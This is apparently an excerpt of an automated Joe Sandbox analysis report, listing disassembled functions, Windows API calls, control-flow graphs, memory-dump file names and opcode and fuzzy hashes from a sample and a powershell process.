                                                                                                                        • Instruction Fuzzy Hash: D9F09662799344B4EB3163A06E5AF56264C5741B18F20466BB354A41D3F7FC5CC4823F
                                                                                                                        Function 00467838 Relevance: 6.0, APIs: 4, Instructions: 48memoryCOMMON
                                                                                                                        Download Yara Rule
                                                                                                                        APIs
                                                                                                                        • RtlInitializeCriticalSection.NTDLL(004705C4), ref: 0046784E
                                                                                                                        • RtlEnterCriticalSection.NTDLL(004705C4), ref: 00467861
                                                                                                                        • LocalAlloc.KERNEL32(00000000,00000FF8,00000000,004678EE,?,?,004680D2,00470604,00000000,00000000,?,?,00467AC1,00467AD6,00467C27), ref: 0046788B
                                                                                                                        • RtlLeaveCriticalSection.NTDLL(004705C4), ref: 004678E8
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3689182242.0000000000467000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true
                                                                                                                        • Associated: 00000000.00000002.3688383238.00000000001C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000001E8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000223000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000233000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000239000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.00000000002D4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000300000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000031C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000349000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000355000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000035A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000452000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000464000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        • Associated: 00000000.00000002.3689182242.000000000047B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_1c0000_ZOL2mIYAUH.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: CriticalSection$AllocEnterInitializeLeaveLocal
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 730355536-0
                                                                                                                        • Opcode ID: e307242a162da05805d48a9932c1401ef1d93b3a1aea7462a9404f9adb1e596d
                                                                                                                        • Instruction ID: d8796f34d9eccfacc80722da8aacc9339bd067eb058c026bb58f4463c47b2640
                                                                                                                        • Opcode Fuzzy Hash: e307242a162da05805d48a9932c1401ef1d93b3a1aea7462a9404f9adb1e596d
                                                                                                                        • Instruction Fuzzy Hash: 7001A5B064E241EEE311BF699C15B567AC0D747708F10C57BE00887392E6BC4884CF5E

                                                                                                                        Execution Graph

                                                                                                                        Execution Coverage:7.4%
                                                                                                                        Dynamic/Decrypted Code Coverage:0%
                                                                                                                        Signature Coverage:0%
                                                                                                                        Total number of Nodes:3
                                                                                                                        Total number of Limit Nodes:0
                                                                                                                        execution_graph 20988 88e6a58 20989 88e6a9b SetThreadToken 20988->20989 20990 88e6ac9 20989->20990

                                                                                                                        Executed Functions

                                                                                                                        Function 04C4B490 Relevance: 2.8, Strings: 2, Instructions: 252COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 0 4c4b490-4c4b4a9 1 4c4b4ae-4c4b7f5 call 4c4acbc 0->1 2 4c4b4ab 0->2 2->1
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: {Ymn^$Ymn^
                                                                                                                        • API String ID: 0-3893578991
                                                                                                                        • Opcode ID: 5b0b2677fe5c7f0e2421f123d90570a698231227a240fc5d06d214d5bfc7aa06
                                                                                                                        • Instruction ID: 6aa5dd87221e5115e34ed157ec7bdc2e4c760452c111976cf76ce8151eeed5c7
                                                                                                                        • Opcode Fuzzy Hash: 5b0b2677fe5c7f0e2421f123d90570a698231227a240fc5d06d214d5bfc7aa06
                                                                                                                        • Instruction Fuzzy Hash: BB916070F007159BEB29EFB988106AE7AA3EFC4B44B40891CD116AB740DF35AD068BD5
                                                                                                                        Function 088E6A54 Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 64 88e6a54-88e6a93 66 88e6a9b-88e6ac7 SetThreadToken 64->66 67 88e6ac9-88e6acf 66->67 68 88e6ad0-88e6aed 66->68 67->68
                                                                                                                        APIs
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1338971296.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_88e0000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID: ThreadToken
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 3254676861-0
                                                                                                                        • Opcode ID: c16b68994fc8be2785911178ad3c64a8028a4a421866aecdf919027fa6fb1df9
                                                                                                                        • Instruction ID: 148edf0660e3acfde0866fa6710d148aaec3c3c43601160a136ab7ee48221f87
                                                                                                                        • Opcode Fuzzy Hash: c16b68994fc8be2785911178ad3c64a8028a4a421866aecdf919027fa6fb1df9
                                                                                                                        • Instruction Fuzzy Hash: 4D1155B1C003088FDB20DF9AC885B9EFBF8EB48320F24841AE458A7310D774A945CFA4
                                                                                                                        Function 088E6A58 Relevance: 1.5, APIs: 1, Instructions: 48threadCOMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 71 88e6a58-88e6ac7 SetThreadToken 73 88e6ac9-88e6acf 71->73 74 88e6ad0-88e6aed 71->74 73->74
                                                                                                                        APIs
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1338971296.00000000088E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_88e0000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID: ThreadToken
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 3254676861-0
                                                                                                                        • Opcode ID: bb639221040d8fd48e6a544b23b768e53259818c08a29978f0da2766545692f4
                                                                                                                        • Instruction ID: bef937a1a51b5172010da49a59eee0e387d12fa59778963285e28150f29de0d7
                                                                                                                        • Opcode Fuzzy Hash: bb639221040d8fd48e6a544b23b768e53259818c08a29978f0da2766545692f4
                                                                                                                        • Instruction Fuzzy Hash: 6E1133B5D003088FDB20DF9AC984B9EFBF8EB48324F24841AE559A7350D775A945CFA4
                                                                                                                        Function 07772308 Relevance: .6, Instructions: 636COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1336294600.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_7770000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 229a7edbb38279ed53deed675466d0640c9fcca34b4c96cc5f6d5d9c5436594f
                                                                                                                        • Instruction ID: 8f63e8a7c310bc1e737373ca32bd888b6099e7239a15b7a2455f73cda1e19a15
                                                                                                                        • Opcode Fuzzy Hash: 229a7edbb38279ed53deed675466d0640c9fcca34b4c96cc5f6d5d9c5436594f
                                                                                                                        • Instruction Fuzzy Hash: 512228B1B00306DFDF259F6984507AABBF2BF89251F1484BAD925DB242DB31DC41C7A2
                                                                                                                        Function 07773CE8 Relevance: .6, Instructions: 581COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 283 7773ce8-7773d0d 284 7773d13-7773d18 283->284 285 7773f00-7773f16 283->285 286 7773d30-7773d34 284->286 287 7773d1a-7773d20 284->287 293 7773f1f-7773f4a 285->293 294 7773f18-7773f1e 285->294 291 7773eb0-7773eba 286->291 292 7773d3a-7773d3c 286->292 289 7773d24-7773d2e 287->289 290 7773d22 287->290 289->286 290->286 295 7773ebc-7773ec5 291->295 296 7773ec8-7773ece 291->296 297 7773d3e-7773d4a 292->297 298 7773d4c 292->298 300 7773f50-7773f55 293->300 301 77740ce-77740de 293->301 294->293 302 7773ed4-7773ee0 296->302 303 7773ed0-7773ed2 296->303 299 7773d4e-7773d50 297->299 298->299 299->291 307 7773d56-7773d75 299->307 305 7773f57-7773f5d 300->305 306 7773f6d-7773f71 300->306 316 77740e7-7774112 301->316 317 77740e0-77740e5 301->317 308 7773ee2-7773efd 302->308 303->308 309 7773f61-7773f6b 305->309 310 7773f5f 305->310 313 7773f77-7773f79 306->313 314 7774080-777408a 306->314 341 7773d77-7773d83 307->341 342 7773d85 307->342 309->306 310->306 318 7773f7b-7773f87 313->318 319 7773f89 313->319 320 7774097-777409d 314->320 321 777408c-7774094 314->321 327 7774228-777425d 316->327 328 7774118-777411d 316->328 317->316 323 7773f8b-7773f8d 318->323 319->323 324 77740a3-77740af 320->324 325 777409f-77740a1 320->325 323->314 330 7773f93-7773fb2 323->330 331 77740b1-77740cb 324->331 325->331 344 777425f-7774281 327->344 345 777428b-7774295 327->345 333 7774135-7774139 328->333 334 777411f-7774125 328->334 371 7773fb4-7773fc0 330->371 372 7773fc2 330->372 338 777413f-7774141 333->338 339 77741da-77741e4 333->339 335 7774127 334->335 336 7774129-7774133 334->336 335->333 336->333 346 7774143-777414f 338->346 347 7774151 338->347 349 77741e6-77741ee 339->349 350 77741f1-77741f7 339->350 343 7773d87-7773d89 341->343 342->343 343->291 352 7773d8f-7773d96 343->352 387 77742d5-77742fe 344->387 388 7774283-7774288 344->388 357 7774297-777429c 345->357 358 777429f-77742a5 345->358 354 7774153-7774155 346->354 347->354 355 77741fd-7774209 350->355 356 77741f9-77741fb 350->356 352->285 359 7773d9c-7773da1 352->359 354->339 361 777415b-777415d 354->361 363 777420b-7774225 355->363 356->363 365 77742a7-77742a9 358->365 366 77742ab-77742b7 358->366 367 7773da3-7773da9 359->367 368 7773db9-7773dc8 359->368 369 7774177-777417e 361->369 370 777415f-7774165 361->370 374 77742b9-77742d2 365->374 366->374 375 7773dad-7773db7 367->375 376 7773dab 367->376 368->291 394 7773dce-7773dec 368->394 381 7774196-77741d7 369->381 382 7774180-7774186 369->382 378 7774167 370->378 379 7774169-7774175 370->379 380 7773fc4-7773fc6 371->380 372->380 375->368 376->368 378->369 379->369 380->314 389 7773fcc-7774003 380->389 390 777418a-7774194 382->390 391 7774188 382->391 404 7774300-7774326 387->404 405 777432d-777433e 387->405 409 7774005-777400b 389->409 410 777401d-7774024 389->410 390->381 391->381 394->291 408 7773df2-7773e17 394->408 404->405 415 7774347-777435c 405->415 416 7774340-7774346 405->416 408->291 430 7773e1d-7773e24 408->430 413 777400f-777401b 409->413 414 777400d 409->414 417 7774026-777402c 410->417 418 777403c-777407d 410->418 413->410 414->410 420 7774395-777439f 415->420 421 777435e-777437b 415->421 416->415 422 7774030-777403a 417->422 423 777402e 417->423 428 77743a1-77743a5 420->428 429 77743a8-77743ae 420->429 437 77743e5-77743ea 421->437 438 777437d-777438f 421->438 422->418 423->418 433 77743b4-77743c0 429->433 434 77743b0-77743b2 429->434 435 7773e26-7773e41 430->435 436 7773e6a-7773e9d 430->436 439 77743c2-77743e2 433->439 434->439 445 7773e43-7773e49 435->445 446 7773e5b-7773e5f 435->446 453 7773ea4-7773ead 436->453 437->438 438->420 448 7773e4d-7773e59 445->448 449 7773e4b 445->449 451 7773e66-7773e68 446->451 448->446 449->446 451->453
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1336294600.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_7770000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 2129c4b0a49f5c8080bb3d87d19621692c153bcfb716d2617b730a183d7b5d11
                                                                                                                        • Instruction ID: 863303a3cb1d769b724068616721cb2f8a947a8981771f38effca44f03528fb9
                                                                                                                        • Opcode Fuzzy Hash: 2129c4b0a49f5c8080bb3d87d19621692c153bcfb716d2617b730a183d7b5d11
                                                                                                                        • Instruction Fuzzy Hash: AE128DB1B04381CFDF259B6888107ABBBA2AFD6251F1484BBD545CF246DB72DC41C7A2
                                                                                                                        Function 04C44638 Relevance: .3, Instructions: 275COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 540 4c44638-4c4466a 541 4c446b0 540->541 542 4c4466c-4c44673 540->542 543 4c446b3-4c446ef 541->543 544 4c44684 542->544 545 4c44675-4c44682 542->545 551 4c44765-4c44770 543->551 552 4c446f1-4c446fa 543->552 546 4c44686-4c44688 544->546 545->546 549 4c4468f-4c44691 546->549 550 4c4468a-4c4468d 546->550 554 4c446a2 549->554 555 4c44693-4c446a0 549->555 553 4c446ae 550->553 557 4c44772-4c44775 551->557 558 4c4477f-4c447a1 551->558 552->551 559 4c446fc-4c44702 552->559 553->543 556 4c446a4-4c446a6 554->556 555->556 556->553 557->558 567 4c447a7-4c447b0 558->567 568 4c4485c-4c44896 558->568 561 4c4495c-4c44976 559->561 562 4c44708-4c44715 559->562 569 4c44980-4c4499c 561->569 570 4c44978-4c4497e 561->570 564 4c44717-4c4473b 562->564 565 4c4475c-4c44763 562->565 578 4c4473d-4c44740 564->578 579 4c44758 564->579 565->551 565->559 567->561 571 4c447b6-4c447e5 567->571 596 4c448a0-4c448a6 568->596 580 4c449ac 569->580 581 4c4499e-4c449aa 569->581 570->569 587 4c447e7-4c447fd 571->587 588 4c447ff-4c44812 571->588 584 4c44742-4c44745 578->584 585 4c4474c-4c44755 578->585 579->565 586 4c449ae-4c449c9 580->586 581->586 584->585 591 4c44814-4c4481b 587->591 588->591 593 4c44840 591->593 594 4c4481d-4c4482e 591->594 593->568 594->593 599 4c44830-4c44839 594->599 598 4c448ad-4c448d4 596->598 602 4c448d6-4c448ec 598->602 603 4c448ee-4c44901 598->603 599->593 604 4c44903-4c4490a 602->604 603->604 605 4c4490c-4c44912 604->605 606 4c44919 604->606 605->606 606->561
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 6a9017e0f7610f7355752af4e1772295afa7391d56ad31cb1474c2f076d7f8df
                                                                                                                        • Instruction ID: 7e1d5c08b618b5cc137075b5f0d5d534edb2ffd0d95eb90751492d5fc7d930e9
                                                                                                                        • Opcode Fuzzy Hash: 6a9017e0f7610f7355752af4e1772295afa7391d56ad31cb1474c2f076d7f8df
                                                                                                                        • Instruction Fuzzy Hash: 24C11434E01248DFDB18CFA8D584A9DBBF2AF89310F258159E804AB361DB71ED46CF94
                                                                                                                        Function 04C4E7B8 Relevance: .3, Instructions: 254COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 607 4c4e7b8-4c4e7d8 608 4c4e7e1-4c4e7ee 607->608 609 4c4e7da-4c4e7dc 607->609 612 4c4e7f0-4c4e801 608->612 610 4c4eb41-4c4eb48 609->610 614 4c4e803-4c4e825 call 4c4014c 612->614 619 4c4e988-4c4e99f 614->619 620 4c4e82b 614->620 628 4c4e9a5 619->628 629 4c4ea7b-4c4ea87 619->629 621 4c4e82d-4c4e83e 620->621 624 4c4e840-4c4e842 621->624 626 4c4e844-4c4e84a 624->626 627 4c4e85c-4c4e8e5 624->627 630 4c4e84c 626->630 631 4c4e84e-4c4e85a 626->631 655 4c4e8e7 627->655 656 4c4e8ec-4c4e921 627->656 632 4c4e9a7-4c4e9b8 628->632 635 4c4ea8d-4c4eaa4 629->635 636 4c4eb39 629->636 630->627 631->627 639 4c4e9ba-4c4e9bc 632->639 635->636 649 4c4eaaa 635->649 636->610 642 4c4e9d6-4c4ea0e 639->642 643 4c4e9be-4c4e9c4 639->643 659 4c4ea15-4c4ea4a 642->659 660 4c4ea10 642->660 644 4c4e9c6 643->644 645 4c4e9c8-4c4e9d4 643->645 644->642 645->642 653 4c4eaac-4c4eabd 649->653 661 4c4eabf-4c4eac1 653->661 655->656 674 4c4e923 656->674 675 4c4e92b 656->675 677 4c4ea54 659->677 678 4c4ea4c 659->678 660->659 663 4c4eac3-4c4eac9 661->663 664 4c4eadb-4c4eb09 661->664 666 4c4eacd-4c4ead9 663->666 667 4c4eacb 663->667 681 4c4eb35-4c4eb37 664->681 682 4c4eb0b-4c4eb16 664->682 666->664 667->664 674->675 675->619 677->629 678->677 681->610 687 4c4eb19 call 4c4ea57 682->687 688 4c4eb19 call 4c4e92e 682->688 689 4c4eb19 call 4c4e7a8 682->689 690 4c4eb19 call 4c4e7b8 682->690 684 4c4eb1f-4c4eb33 684->681 684->682 687->684 688->684 689->684 690->684
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 2b86f8efe60839c9506ead763528d17d580419e6815ef1c81713efeafe3f3ed8
                                                                                                                        • Instruction ID: b5e706ff69bbe29c6967c003ba1ecf53686900226c4c5a7e588d1110267ddfa6
                                                                                                                        • Opcode Fuzzy Hash: 2b86f8efe60839c9506ead763528d17d580419e6815ef1c81713efeafe3f3ed8
                                                                                                                        • Instruction Fuzzy Hash: 9A915B34B002158FDB24DF69C684A6DBBE6BFC8710B15406AE806EB355DB71AD02CB91
                                                                                                                        Function 04C429F0 Relevance: .2, Instructions: 211COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 691 4c429f0-4c42a1e 692 4c42a24-4c42a3a 691->692 693 4c42af5-4c42b37 691->693 694 4c42a3c 692->694 695 4c42a3f-4c42a52 692->695 697 4c42c51-4c42c6e 693->697 698 4c42b3d-4c42b56 693->698 694->695 695->693 702 4c42a58-4c42a65 695->702 700 4c42b58 698->700 701 4c42b5b-4c42b69 698->701 700->701 701->697 707 4c42b6f-4c42b79 701->707 704 4c42a67 702->704 705 4c42a6a-4c42a7c 702->705 704->705 705->693 709 4c42a7e-4c42a88 705->709 710 4c42b87-4c42b94 707->710 711 4c42b7b-4c42b7d 707->711 712 4c42a96-4c42aa6 709->712 713 4c42a8a-4c42a8c 709->713 710->697 714 4c42b9a-4c42baa 710->714 711->710 712->693 717 4c42aa8-4c42ab2 712->717 713->712 715 4c42bac 714->715 716 4c42baf-4c42bbd 714->716 715->716 716->697 721 4c42bc3-4c42bd3 716->721 718 4c42ab4-4c42ab6 717->718 719 4c42ac0-4c42af4 717->719 718->719 723 4c42bd5 721->723 724 4c42bd8-4c42be5 721->724 723->724 724->697 727 4c42be7-4c42bf7 724->727 728 4c42bfc-4c42c08 727->728 729 4c42bf9 727->729 728->697 731 4c42c0a-4c42c24 728->731 729->728 732 4c42c26 731->732 733 4c42c29 731->733 732->733 734 4c42c2e-4c42c38 733->734 735 4c42c3d-4c42c50 734->735
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: f4906b9f65a9d7f463c4ece1dd962727d3b947c44aa66ce305f6e981d43d15b2
                                                                                                                        • Instruction ID: 2c662d27d6d95063b15ff48c07f232516328fb90ac482dcd2bf00a66f338cf21
                                                                                                                        • Opcode Fuzzy Hash: f4906b9f65a9d7f463c4ece1dd962727d3b947c44aa66ce305f6e981d43d15b2
                                                                                                                        • Instruction Fuzzy Hash: DE91A274A00205CFCB15CF59C595AAEFBB2FF89310B248599E815AB3A5C735FC91CBA0
                                                                                                                        Function 04C47740 Relevance: .2, Instructions: 156COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 875 4c47740-4c47776 878 4c4777f-4c47788 875->878 879 4c47778-4c4777a 875->879 882 4c47791-4c477af 878->882 883 4c4778a-4c4778c 878->883 880 4c47829-4c4782e 879->880 886 4c477b5-4c477b9 882->886 887 4c477b1-4c477b3 882->887 883->880 888 4c477c8-4c477cf 886->888 889 4c477bb-4c477c0 886->889 887->880 890 4c477d1-4c477fa 888->890 891 4c4782f-4c47860 888->891 889->888 894 4c477fc-4c47806 890->894 895 4c47808 890->895 899 4c47866-4c478bd 891->899 900 4c478e2-4c478e6 891->900 896 4c4780a-4c47816 894->896 895->896 904 4c4781c-4c47823 896->904 905 4c47818-4c4781a 896->905 910 4c478bf 899->910 911 4c478c9-4c478d7 899->911 914 4c478e9 call 4c47940 900->914 915 4c478e9 call 4c47932 900->915 903 4c478ec-4c478f1 904->880 905->880 910->911 911->900 913 4c478d9-4c478e1 911->913 914->903 915->903
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 88159ae8100ed66b2a228030167eb119f33760b97ebe8b5b1f5eb3e7f8931ac6
                                                                                                                        • Instruction ID: 1a64614c55485ce68215234a025b687a758fae6d87556fc92bd7c810a5d33bfb
                                                                                                                        • Opcode Fuzzy Hash: 88159ae8100ed66b2a228030167eb119f33760b97ebe8b5b1f5eb3e7f8931ac6
                                                                                                                        • Instruction Fuzzy Hash: 3A51D1307052019FD715DB79E944A6A77E7FFC9224B2945BAD40ADB352EB31EC01CB60
                                                                                                                        Function 04C4BAC0 Relevance: .2, Instructions: 155COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 916 4c4bac0-4c4bb50 920 4c4bb56-4c4bb61 916->920 921 4c4bb52 916->921 922 4c4bb66-4c4bbc0 call 4c4af98 920->922 923 4c4bb63 920->923 921->920 930 4c4bc11-4c4bc15 922->930 931 4c4bbc2-4c4bbc7 922->931 923->922 933 4c4bc26 930->933 934 4c4bc17-4c4bc21 930->934 931->930 932 4c4bbc9-4c4bbec 931->932 936 4c4bbf2-4c4bbfd 932->936 935 4c4bc2b-4c4bc2d 933->935 934->933 937 4c4bc52-4c4bc55 call 4c4a978 935->937 938 4c4bc2f-4c4bc50 935->938 939 4c4bc06-4c4bc0f 936->939 940 4c4bbff-4c4bc05 936->940 943 4c4bc5a-4c4bc5e 937->943 938->943 939->935 940->939 945 4c4bc97-4c4bcc6 943->945 946 4c4bc60-4c4bc89 943->946 946->945
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: cc26306220400808f2a90b14078ee97d12f4de964ee5b9e9d5719f6717796ccd
                                                                                                                        • Instruction ID: ab1fdd948886fdd65afe142a3b37588a41d000882084e1efc1de7cc2cd7af9cf
                                                                                                                        • Opcode Fuzzy Hash: cc26306220400808f2a90b14078ee97d12f4de964ee5b9e9d5719f6717796ccd
                                                                                                                        • Instruction Fuzzy Hash: F6611771E00248DFDB15DFA9D584B9DFBF2EF88310F148129E819AB264EB74AD41CB60
                                                                                                                        Function 04C4BAB0 Relevance: .2, Instructions: 151COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 955 4c4bab0-4c4bb50 960 4c4bb56-4c4bb61 955->960 961 4c4bb52 955->961 962 4c4bb66-4c4bbc0 call 4c4af98 960->962 963 4c4bb63 960->963 961->960 970 4c4bc11-4c4bc15 962->970 971 4c4bbc2-4c4bbc7 962->971 963->962 973 4c4bc26 970->973 974 4c4bc17-4c4bc21 970->974 971->970 972 4c4bbc9-4c4bbec 971->972 976 4c4bbf2-4c4bbfd 972->976 975 4c4bc2b-4c4bc2d 973->975 974->973 977 4c4bc52-4c4bc55 call 4c4a978 975->977 978 4c4bc2f-4c4bc50 975->978 979 4c4bc06-4c4bc0f 976->979 980 4c4bbff-4c4bc05 976->980 983 4c4bc5a-4c4bc5e 977->983 978->983 979->975 980->979 985 4c4bc97-4c4bcc6 983->985 986 4c4bc60-4c4bc89 983->986 986->985
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 4d4d715b18fb47861b78d3585aec4889511947928a6b05ffecf1410d8d710abf
                                                                                                                        • Instruction ID: 348802660eef2737a8b1a617cbdefdbf0f75225cdf8cd7f5981dfac110801a0b
                                                                                                                        • Opcode Fuzzy Hash: 4d4d715b18fb47861b78d3585aec4889511947928a6b05ffecf1410d8d710abf
                                                                                                                        • Instruction Fuzzy Hash: 8C513671E01348DFDB55DFA9C584A8DBBF2EF88310F148069E819AB360EB74AD45CB60
                                                                                                                        Function 04C4E419 Relevance: .1, Instructions: 140COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: f470bcd74bd5e983a86ae57d0a7ed0514b0a8a0e1355fe9c3056111f485d2ca9
